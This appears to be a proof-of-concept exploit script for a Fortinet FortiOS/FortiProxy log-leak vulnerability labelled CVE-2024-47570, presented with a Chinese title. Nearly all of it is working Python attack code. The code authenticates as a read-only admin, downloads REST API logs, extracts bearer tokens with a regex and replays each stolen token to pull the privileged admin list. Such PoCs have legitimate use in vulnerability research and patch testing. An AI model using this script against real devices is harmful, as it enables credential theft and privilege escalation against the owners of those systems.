CVE-2024-47570 FortiOS/FortiProxy/FortiPAM/FortiSRA敏感信息日志泄露漏洞

# CVE-2024-47570 PoC - Fortinet API Token Leak via REST API Logs # This PoC demonstrates how a read-only admin can extract API tokens from logs import requests import re from bs4 import BeautifulSoup TARGET = "https://target-fortinet-device.com" USERNAME = "readonly_admin" PASSWORD = "password" def login(): """Authenticate as read-only admin""" session = requests.Session() login_url = f"{TARGET}/api/v2/login" data = {"username": USERNAME, "password": PASSWORD} response = session.post(login_url, json=data, verify=False) return session, response.json().get('token') def extract_tokens_from_logs(session, auth_token): """Extract API tokens from REST API logs""" headers = {"Authorization": f"Bearer {auth_token}"} # Access REST API logs log_url = f"{TARGET}/api/v2/monitor/logs/rest-api" response = session.get(log_url, headers=headers, verify=False) tokens = [] if response.status_code == 200: # Parse logs and extract API tokens from Authorization headers log_content = response.text token_pattern = r'Authorization:\s*[Bb]earer\s+([A-Za-z0-9\-_\.]+)' tokens = re.findall(token_pattern, log_content) return tokens def use_stolen_token(stolen_token): """Use stolen token to perform privileged operations""" headers = {"Authorization": f"Bearer {stolen_token}"} # Example: Get full admin list admin_url = f"{TARGET}/api/v2/cmdb/system/admin" response = requests.get(admin_url, headers=headers, verify=False) return response.json() def main(): session, admin_token = login() stolen_tokens = extract_tokens_from_logs(session, admin_token) for token in stolen_tokens: print(f"Found token: {token}") privileged_data = use_stolen_token(token) print(f"Privileged access: {privileged_data}") if __name__ == "__main__": main()